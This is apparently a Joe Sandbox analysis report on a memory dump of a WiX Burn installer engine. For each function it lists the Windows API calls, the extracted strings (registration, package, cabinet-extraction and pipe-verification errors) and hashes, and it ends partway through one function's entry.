Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressProc$CreateErrorExitHandleInstanceLastModuleProcess
String ID: IsWow64Process$Wow64DisableWow64FsRedirection$Wow64EnableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$xmlutil.cpp
API String ID: 2124981135-499589564
Opcode ID: 2656ff0c2a39266904541a5fc8267803d95b0d3068b2bb5db34ccd88578d7a29
Instruction ID: e32d4de039b07dcb048b9c335cf071ae2a9c5d2b9a7ab27628f09a180b0dafbe
Opcode Fuzzy Hash: 2656ff0c2a39266904541a5fc8267803d95b0d3068b2bb5db34ccd88578d7a29
Instruction Fuzzy Hash: E9515E71E1071AEBDB108FB4CC55BAE7BB8BF08716F104569E914E7280D7B4CA44DBA0

Function 00A52955 Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 41d788ac34d41f15b910614ca597ba6a7ec85d9420fe00a3a2dca4319af91b1a
Instruction ID: 713b5b2f2032c05ae81a0feba5cb28c162240671cfef940bc29406143bea8cef
Opcode Fuzzy Hash: 41d788ac34d41f15b910614ca597ba6a7ec85d9420fe00a3a2dca4319af91b1a
Instruction Fuzzy Hash: CCC012321A0308BB8F00AFF8EC0AC9A7BACBB28623B008500B905C6020CB38E0508B70

Function 00A2621F Relevance: 115.9, APIs: 3, Strings: 63, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Department, xrefs: 00A266D1
ProviderKey, xrefs: 00A26306
Failed to get @ProviderKey., xrefs: 00A26319
Version, xrefs: 00A262C4
HelpLink, xrefs: 00A26444
registration.cpp, xrefs: 00A265E0
Failed to get @ProductFamily., xrefs: 00A2670D
ProductFamily, xrefs: 00A266F6
Failed to get @ExecutableName., xrefs: 00A2633A
Comments, xrefs: 00A26500
UpdateUrl, xrefs: 00A264B3
Failed to get @Name., xrefs: 00A2672E
AboutUrl, xrefs: 00A2648E
Failed to get @Tag., xrefs: 00A2629E
Failed to get @DisplayName., xrefs: 00A263EC
Failed to get @AboutUrl., xrefs: 00A264A5
DisableModify, xrefs: 00A2654D
Arp, xrefs: 00A2638A
Invalid modify disabled type: %ls, xrefs: 00A265ED
yes, xrefs: 00A2658C
Name, xrefs: 00A2671B
Tag, xrefs: 00A2628B
Failed to get @Id., xrefs: 00A2627D
button, xrefs: 00A26566
Failed to get @Publisher., xrefs: 00A26436
Failed to get @DisplayVersion., xrefs: 00A26411
ParentDisplayName, xrefs: 00A264D8
Failed to parse software tag., xrefs: 00A26668
Failed to get @Compressed., xrefs: 00A2637C
Register, xrefs: 00A263B4
Failed to select registration node., xrefs: 00A26259
Failed to get @Department., xrefs: 00A266E8
Classification, xrefs: 00A2673C
Failed to get @Contact., xrefs: 00A2653F
Registration, xrefs: 00A2622E
Contact, xrefs: 00A26528
Failed to get @DisableRemove., xrefs: 00A26638
Failed to get @PerMachine., xrefs: 00A26358
Failed to get @ParentDisplayName., xrefs: 00A264EF
Failed to get @Manufacturer., xrefs: 00A266C0
Failed to get @Register., xrefs: 00A263C7
Failed to select Update node., xrefs: 00A26692
Failed to get @Comments., xrefs: 00A26517
Failed to parse @Version: %ls, xrefs: 00A262F8
Manufacturer, xrefs: 00A266A3
Failed to get @HelpTelephone., xrefs: 00A26480
DisplayName, xrefs: 00A263D5
Failed to set registration paths., xrefs: 00A26763
Failed to get @DisableModify., xrefs: 00A26610
ExecutableName, xrefs: 00A26327
HelpTelephone, xrefs: 00A26469
Compressed, xrefs: 00A26369
PerMachine, xrefs: 00A26345
Publisher, xrefs: 00A2641F
Failed to get @Version., xrefs: 00A262D7
Failed to get @UpdateUrl., xrefs: 00A264CA
Failed to get @HelpLink., xrefs: 00A2645B
Failed to get @Classification., xrefs: 00A2674F
DisableRemove, xrefs: 00A26621
Failed to parse related bundles, xrefs: 00A262B6
Update, xrefs: 00A26676
Failed to select ARP node., xrefs: 00A263A6
DisplayVersion, xrefs: 00A263FA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: AboutUrl$Arp$Classification$Comments$Compressed$Contact$Department$DisableModify$DisableRemove$DisplayName$DisplayVersion$ExecutableName$Failed to get @AboutUrl.$Failed to get @Classification.$Failed to get @Comments.$Failed to get @Compressed.$Failed to get @Contact.$Failed to get @Department.$Failed to get @DisableModify.$Failed to get @DisableRemove.$Failed to get @DisplayName.$Failed to get @DisplayVersion.$Failed to get @ExecutableName.$Failed to get @HelpLink.$Failed to get @HelpTelephone.$Failed to get @Id.$Failed to get @Manufacturer.$Failed to get @Name.$Failed to get @ParentDisplayName.$Failed to get @PerMachine.$Failed to get @ProductFamily.$Failed to get @ProviderKey.$Failed to get @Publisher.$Failed to get @Register.$Failed to get @Tag.$Failed to get @UpdateUrl.$Failed to get @Version.$Failed to parse @Version: %ls$Failed to parse related bundles$Failed to parse software tag.$Failed to select ARP node.$Failed to select Update node.$Failed to select registration node.$Failed to set registration paths.$HelpLink$HelpTelephone$Invalid modify disabled type: %ls$Manufacturer$Name$ParentDisplayName$PerMachine$ProductFamily$ProviderKey$Publisher$Register$Registration$Tag$Update$UpdateUrl$Version$button$registration.cpp$yes
API String ID: 760788290-3565783206
Opcode ID: 53b4071f841f237c1157a4e5cb2eab20bd420a7d382d5a438e9e01afcd6e9b65
Instruction ID: 88bf0eb018652bdaa74d834d3d3cbf57f22270644b1063045826be9233da59c1
Opcode Fuzzy Hash: 53b4071f841f237c1157a4e5cb2eab20bd420a7d382d5a438e9e01afcd6e9b65
Instruction Fuzzy Hash: 13E15B32A81725BADB11DB6CEE42E7E76B6BF44752F210834FD55A3290DF30DA099B10

Function 00A244A6 Relevance: 103.8, APIs: 8, Strings: 51, Instructions: 592
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 00A245C7
SysFreeString.OLEAUT32(00000000), ref: 00A24C42

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

Strings

Failed to find forward transaction boundary: %ls, xrefs: 00A24A6D
CacheId, xrefs: 00A246D4
Failed to get @LogPathVariable., xrefs: 00A24A42
LogPathVariable, xrefs: 00A24781
Failed to get next node., xrefs: 00A249E8
MsuPackage, xrefs: 00A24911
Failed to get rollback bundary node count., xrefs: 00A244F3
Failed to get @Size., xrefs: 00A24A10
Failed to get @RollbackBoundaryForward., xrefs: 00A24A60
Failed to parse target product codes., xrefs: 00A24C0D
Failed to parse payload references., xrefs: 00A24AA8
MspPackage, xrefs: 00A248D8
Failed to get @Permanent., xrefs: 00A24A2E
Failed to get @RollbackLogPathVariable., xrefs: 00A24A4C
RollbackBoundaryForward, xrefs: 00A247EA
Failed to get @InstallSize., xrefs: 00A24A1A
Failed to allocate memory for rollback boundary structs., xrefs: 00A24537
Failed to parse MSP package., xrefs: 00A24A94
Failed to select package nodes., xrefs: 00A24606
package.cpp, xrefs: 00A2452D, 00A24655, 00A249D4, 00A24ADC
Failed to get @Id., xrefs: 00A249F2
InstallCondition, xrefs: 00A247C7
Failed to get @RollbackBoundaryBackward., xrefs: 00A24A74
Failed to get @CacheId., xrefs: 00A24A06
Permanent, xrefs: 00A24740
Size, xrefs: 00A246EF
Failed to allocate memory for MSP patch sequence information., xrefs: 00A249DE
Failed to parse dependency providers., xrefs: 00A24AB2
Failed to get @PerMachine., xrefs: 00A24A24
Failed to allocate memory for patch sequence information to package lookup., xrefs: 00A24AE6
Failed to allocate memory for package structs., xrefs: 00A2465F
RollbackLogPathVariable, xrefs: 00A247A4
`5w, xrefs: 00A245C7, 00A24987, 00A24C42
Cache, xrefs: 00A246B9
Chain/ExePackage|Chain/MsiPackage|Chain/MspPackage|Chain/MsuPackage, xrefs: 00A245F3
Failed to get @Vital., xrefs: 00A24A38
Vital, xrefs: 00A24598, 00A24766
RollbackBoundaryBackward, xrefs: 00A24825
Failed to select rollback boundary nodes., xrefs: 00A244D9
MsiPackage, xrefs: 00A248A2
PerMachine, xrefs: 00A24725
Failed to parse EXE package., xrefs: 00A24896
Failed to find backward transaction boundary: %ls, xrefs: 00A24A81
Failed to get @InstallCondition., xrefs: 00A24A56
Failed to get @Cache., xrefs: 00A249FC
RollbackBoundary, xrefs: 00A244B4
Failed to parse MSU package., xrefs: 00A24A9E
InstallSize, xrefs: 00A2470A
Failed to parse MSI package., xrefs: 00A248CC
ExePackage, xrefs: 00A24864
Failed to get package node count., xrefs: 00A24623

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Cache$CacheId$Chain/ExePackage|Chain/MsiPackage|Chain/MspPackage|Chain/MsuPackage$ExePackage$Failed to allocate memory for MSP patch sequence information.$Failed to allocate memory for package structs.$Failed to allocate memory for patch sequence information to package lookup.$Failed to allocate memory for rollback boundary structs.$Failed to find backward transaction boundary: %ls$Failed to find forward transaction boundary: %ls$Failed to get @Cache.$Failed to get @CacheId.$Failed to get @Id.$Failed to get @InstallCondition.$Failed to get @InstallSize.$Failed to get @LogPathVariable.$Failed to get @PerMachine.$Failed to get @Permanent.$Failed to get @RollbackBoundaryBackward.$Failed to get @RollbackBoundaryForward.$Failed to get @RollbackLogPathVariable.$Failed to get @Size.$Failed to get @Vital.$Failed to get next node.$Failed to get package node count.$Failed to get rollback bundary node count.$Failed to parse EXE package.$Failed to parse MSI package.$Failed to parse MSP package.$Failed to parse MSU package.$Failed to parse dependency providers.$Failed to parse payload references.$Failed to parse target product codes.$Failed to select package nodes.$Failed to select rollback boundary nodes.$InstallCondition$InstallSize$LogPathVariable$MsiPackage$MspPackage$MsuPackage$PerMachine$Permanent$RollbackBoundary$RollbackBoundaryBackward$RollbackBoundaryForward$RollbackLogPathVariable$Size$Vital$`5w$package.cpp
API String ID: 336948655-1171119698
Opcode ID: 08c0d7de231644c3bc870828b972cb55f44859e38a4b1b8cdeb0a3e4b9b96703
Instruction ID: 5104efdd5e123c4fe4c8ecf389a13bd741921586df86d3ed3ac4d000634c2add
Opcode Fuzzy Hash: 08c0d7de231644c3bc870828b972cb55f44859e38a4b1b8cdeb0a3e4b9b96703
Instruction Fuzzy Hash: 1322CF31A40225FFCB109FACDD81EAE77B6BB48321F204539E915AB291DB71ED85DB10

Function 00A220A7 Relevance: 96.8, APIs: 28, Strings: 27, Instructions: 576
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00A220EB
_memset.LIBCMT ref: 00A220FD

Part of subcall function 00A5208E: GetModuleFileNameW.KERNEL32(00A2213E,?,00000104,?,00000104,?,00000000,?,?,00A2213E,?,00000000,?,?,?,7744C3F0), ref: 00A520AF

CreateFileW.KERNELBASE(?,80000000,00000005,00000000,00000003,00000080,00000000,?,00000000,?,?,?,7744C3F0,?,00000000), ref: 00A2216E
GetLastError.KERNEL32(?,?,?,7744C3F0,?,00000000), ref: 00A2217B

Strings

Failed to seek to NT header., xrefs: 00A222D4
Failed to seek to start of file., xrefs: 00A22209
Failed to read section info., xrefs: 00A22717
Failed to read section info, data to short: %u, xrefs: 00A22629
Failed to seek to section info., xrefs: 00A223B0, 00A226AE
Failed to allocate buffer for section info., xrefs: 00A2265D
Failed to read NT header., xrefs: 00A22324
section.cpp, xrefs: 00A2219D, 00A221FF, 00A22252, 00A22282, 00A222CA, 00A2231A, 00A2234B, 00A223A6, 00A223F6, 00A22449, 00A2249E, 00A2256D, 00A22592, 00A225B7, 00A22619, 00A22653, 00A226A4, 00A2270D, 00A22737, 00A2275C, 00A22830
Failed to read image section header, index: %u, xrefs: 00A2257D
Failed to read complete section info., xrefs: 00A22741
Failed to find Burn section., xrefs: 00A225C1
Failed to seek past optional headers., xrefs: 00A224A8
Failed to find valid NT image header in buffer., xrefs: 00A22355
Failed to read complete image section header, index: %u, xrefs: 00A225A2
PE, xrefs: 00A22337
(, xrefs: 00A224DD
Failed to read section info, unsupported version: %08x, xrefs: 00A22769
Failed to read signature size., xrefs: 00A22453
4, xrefs: 00A22605
Failed to get total size of bundle., xrefs: 00A2278D
Failed to allocate memory for container sizes., xrefs: 00A2283A
Failed to read DOS header., xrefs: 00A2225C
Failed to find valid DOS image header in buffer., xrefs: 00A2228C
Failed to get path to engine process., xrefs: 00A22144
Failed to read signature offset., xrefs: 00A22400
Failed to open handle to engine process path: %ls, xrefs: 00A221AD
.wixburn, xrefs: 00A224ED

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: File_memset$CreateErrorLastModuleName
String ID: ($.wixburn$4$Failed to allocate buffer for section info.$Failed to allocate memory for container sizes.$Failed to find Burn section.$Failed to find valid DOS image header in buffer.$Failed to find valid NT image header in buffer.$Failed to get path to engine process.$Failed to get total size of bundle.$Failed to open handle to engine process path: %ls$Failed to read DOS header.$Failed to read NT header.$Failed to read complete image section header, index: %u$Failed to read complete section info.$Failed to read image section header, index: %u$Failed to read section info, data to short: %u$Failed to read section info, unsupported version: %08x$Failed to read section info.$Failed to read signature offset.$Failed to read signature size.$Failed to seek past optional headers.$Failed to seek to NT header.$Failed to seek to section info.$Failed to seek to start of file.$PE$section.cpp
API String ID: 3151910114-3305245485
Opcode ID: 06f306deecec2d2e8956fdc41a84e8e8b79739ca5d4f5feb452340c8a0104565
Instruction ID: 24b534cad15d7cb8105c3caee1db9c4933a381fac60e6f06f6a848392d6c7456
Opcode Fuzzy Hash: 06f306deecec2d2e8956fdc41a84e8e8b79739ca5d4f5feb452340c8a0104565
Instruction Fuzzy Hash: 9B12B632A50335BBDB209B68DD46FEA7674BF05712F0001B5BD08EA190DB749D88CFA1

Function 00A45B21 Relevance: 54.5, APIs: 20, Strings: 11, Instructions: 287
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEvent.KERNEL32(?,?,?,?,?,00A4634B), ref: 00A45B33
GetLastError.KERNEL32(?,?,?,00A4634B), ref: 00A45B3D
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00A4634B), ref: 00A45B7B
GetLastError.KERNEL32(?,?,?,00A4634B), ref: 00A45B86
ResetEvent.KERNEL32(?,?,?,?,00A4634B), ref: 00A45BC2
GetLastError.KERNEL32(?,?,?,00A4634B), ref: 00A45BCC

Strings

Failed to create file: %ls, xrefs: 00A45DD0
Failed to copy stream name: %ls, xrefs: 00A45C54
Failed to set file pointer to beginning of file., xrefs: 00A45EAC
Failed to allocate buffer for stream., xrefs: 00A45D61
Failed to set file pointer to end of file., xrefs: 00A45E1F
cabextract.cpp, xrefs: 00A45B62, 00A45BAB, 00A45BF1, 00A45C1B, 00A45D57, 00A45DC3, 00A45E15, 00A45E5B, 00A45EA2
Invalid operation for this state., xrefs: 00A45C25
Failed to set operation complete event., xrefs: 00A45B6C
Failed to set end of file., xrefs: 00A45E65
Failed to wait for begin operation event., xrefs: 00A45BB5
Failed to reset begin operation event., xrefs: 00A45BFB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$Event$ObjectResetSingleWait
String ID: Failed to allocate buffer for stream.$Failed to copy stream name: %ls$Failed to create file: %ls$Failed to reset begin operation event.$Failed to set end of file.$Failed to set file pointer to beginning of file.$Failed to set file pointer to end of file.$Failed to set operation complete event.$Failed to wait for begin operation event.$Invalid operation for this state.$cabextract.cpp
API String ID: 1865021742-2104912459
Opcode ID: 122b0d9f19680294cb4d027ca8c47a4bcff7bc9e46f2254e9846240c8df5f8ca
Instruction ID: 27df62f0df119f6f8714651c7a38549fc8522351899a7f59b0b4eebd940bd564
Opcode Fuzzy Hash: 122b0d9f19680294cb4d027ca8c47a4bcff7bc9e46f2254e9846240c8df5f8ca
Instruction Fuzzy Hash: CC91223AE90F23BBE72097749C0AB2629A4BF41B23F150234F914EA1D2E775DC1497E4

Function 00A46864 Relevance: 35.2, APIs: 11, Strings: 9, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 00A46889
#20.CABINET(00A45F7D,00A45F8C,00A4634F,00A46556,00A45F99,00A46724,00A465EB,000000FF,?), ref: 00A468E5
CoUninitialize.OLE32 ref: 00A46A91

Strings

Failed to initialize COM., xrefs: 00A46895
Failed to extract all files from container., xrefs: 00A46983
<the>.cab, xrefs: 00A46927
cabextract.cpp, xrefs: 00A468FF, 00A469BC, 00A46A02, 00A46A3F, 00A46A66
Invalid operation for this state., xrefs: 00A46A70
Failed to set operation complete event., xrefs: 00A469C6
Failed to initialize cabinet.dll., xrefs: 00A46909
Failed to wait for begin operation event., xrefs: 00A46A0C
Failed to reset begin operation event., xrefs: 00A46A49

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: InitializeUninitialize
String ID: <the>.cab$Failed to extract all files from container.$Failed to initialize COM.$Failed to initialize cabinet.dll.$Failed to reset begin operation event.$Failed to set operation complete event.$Failed to wait for begin operation event.$Invalid operation for this state.$cabextract.cpp
API String ID: 3442037557-3821814080
Opcode ID: 894d7bee18becd6533d04ab413fbc025f992da269747d0d5eadc7ddbba26b7f4
Instruction ID: 2311d19e7a02f047518022c2760a8797f02ac3543a3c01f6924ed82a11cce54a
Opcode Fuzzy Hash: 894d7bee18becd6533d04ab413fbc025f992da269747d0d5eadc7ddbba26b7f4
Instruction Fuzzy Hash: 9151503EE54721BBC7209B689D05EAB77B4BF82B52B164639FD01B71D2DA709C048393

Function 00A2315E Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 183
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(8000FFFF,00000000,75573140,?,00A2398B,?,?,00000008,00000000,?), ref: 00A23175
ReadFile.KERNELBASE(00000008,00000008,00000004,?,00000000,?,00A2398B,?,?,00000008,00000000,?), ref: 00A23195
GetLastError.KERNEL32(?,00A2398B,?,?,00000008,00000000,?), ref: 00A2319B
ReadFile.KERNELBASE(00000008,00000000,00000008,?,00000000,00000000,00000009,?,00A2398B,?,?,00000008,00000000,?), ref: 00A2322B
GetLastError.KERNEL32(?,00A2398B,?,?,00000008,00000000,?), ref: 00A23231

Strings

Verification secret from parent is too big., xrefs: 00A231F7
Failed to read verification process id from parent pipe., xrefs: 00A232E5
Failed to read verification secret from parent pipe., xrefs: 00A23260
Verification process id from parent does not match., xrefs: 00A23380
Verification secret from parent does not match., xrefs: 00A23298
Failed to allocate buffer for verification secret., xrefs: 00A23213
pipe.cpp, xrefs: 00A231C0, 00A231EB, 00A23256, 00A2328C, 00A232DB, 00A23337, 00A23374
Failed to inform parent process that child is running., xrefs: 00A23341
Failed to read size of verification secret from parent pipe., xrefs: 00A231CA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastRead$CurrentProcess
String ID: Failed to allocate buffer for verification secret.$Failed to inform parent process that child is running.$Failed to read size of verification secret from parent pipe.$Failed to read verification process id from parent pipe.$Failed to read verification secret from parent pipe.$Verification process id from parent does not match.$Verification secret from parent does not match.$Verification secret from parent is too big.$pipe.cpp
API String ID: 1233551569-826945260
Opcode ID: adaa77fdca65bde9f2633f76a320f531599a9d2cb90300629309c935e4ffdf4d
Instruction ID: e3e4c58128689a4cecfffe4210fa5d89baa858a3723ec2dd5e6da0d3280379e2
Opcode Fuzzy Hash: adaa77fdca65bde9f2633f76a320f531599a9d2cb90300629309c935e4ffdf4d
Instruction Fuzzy Hash: 8151DC73680315FFDF109B949D86EAE7A79FB12712F200539FD10EA080D7789B098761

Function 00A2AEAC Relevance: 31.8, APIs: 1, Strings: 20, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00A2222A,00000000,00A21D56,00A221E6), ref: 00A2AECC

Strings

$, xrefs: 00A2B4D1
Date, xrefs: 00A2AFC7
Failed to add built-in variable: %ls., xrefs: 00A2B619
', xrefs: 00A2B0FC
#, xrefs: 00A2AF2B
0, xrefs: 00A2AEDE
WixBundleProviderKey, xrefs: 00A2B584
LogonUser, xrefs: 00A2B0CB
InstallerName, xrefs: 00A2B06E
WixBundleCompressed, xrefs: 00A2B5CC
InstallerVersion, xrefs: 00A2B089
WixBundleForcedRestartPackage, xrefs: 00A2B530
WixBundleElevated, xrefs: 00A2B55A
WixBundleVersion, xrefs: 00A2B5B4
:, xrefs: 00A2B60B
WixBundleActiveParent, xrefs: 00A2B56B
WixBundleManufacturer, xrefs: 00A2B595
WixBundleInstalled, xrefs: 00A2B546
WixBundleTag, xrefs: 00A2B5A6
WixBundleAction, xrefs: 00A2B508

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: #$$$'$0$:$Date$Failed to add built-in variable: %ls.$InstallerName$InstallerVersion$LogonUser$WixBundleAction$WixBundleActiveParent$WixBundleCompressed$WixBundleElevated$WixBundleForcedRestartPackage$WixBundleInstalled$WixBundleManufacturer$WixBundleProviderKey$WixBundleTag$WixBundleVersion
API String ID: 32694325-2150785980
Opcode ID: fa57b3357863165212d97a41c4cd01b634c00938b1e1cb7c332861d053b6684b
Instruction ID: 3e2b1dd5be99f4ded6d30494d630b5e219cf4a29cd2da1fe53ee42b26463a06e
Opcode Fuzzy Hash: fa57b3357863165212d97a41c4cd01b634c00938b1e1cb7c332861d053b6684b
Instruction Fuzzy Hash: FC1279B5C016289BDB629F09D8493DEFBB6BB88704F4185D9910D7B214C7B12B89CF82

Function 00A313ED Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 139
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsSetValue.KERNEL32(?,?), ref: 00A31437
RegisterClassW.USER32(?), ref: 00A31465
GetLastError.KERNEL32 ref: 00A31470
CreateWindowExW.USER32(00000080,00A64F80,00000000,90000000,80000000,00000008,00000000,00000000,00000000,00000000,?,?), ref: 00A314E0
GetLastError.KERNEL32 ref: 00A314EA
SetEvent.KERNEL32(?), ref: 00A3152D
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 00A3156C
UnregisterClassW.USER32(WixBurnMessageWindow,?), ref: 00A31591

Strings

Failed to create window., xrefs: 00A3151E
WixBurnMessageWindow, xrefs: 00A3145E, 00A3158C
Unexpected return value from message pump., xrefs: 00A31579
Failed to register window., xrefs: 00A314A4
uithread.cpp, xrefs: 00A3149A, 00A31514

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ClassErrorLast$CallbackCreateDispatcherEventRegisterUnregisterUserValueWindow
String ID: Failed to create window.$Failed to register window.$Unexpected return value from message pump.$WixBurnMessageWindow$uithread.cpp
API String ID: 4252647486-288575659
Opcode ID: 1f229c8807fdfb06f960bb9da8879ca114f338389824a446ea4802d34e0690b8
Instruction ID: 3fb797a623d8df023ecbfc6586b3ee432ce72a8fd22dcae65ce4b396030e53d7
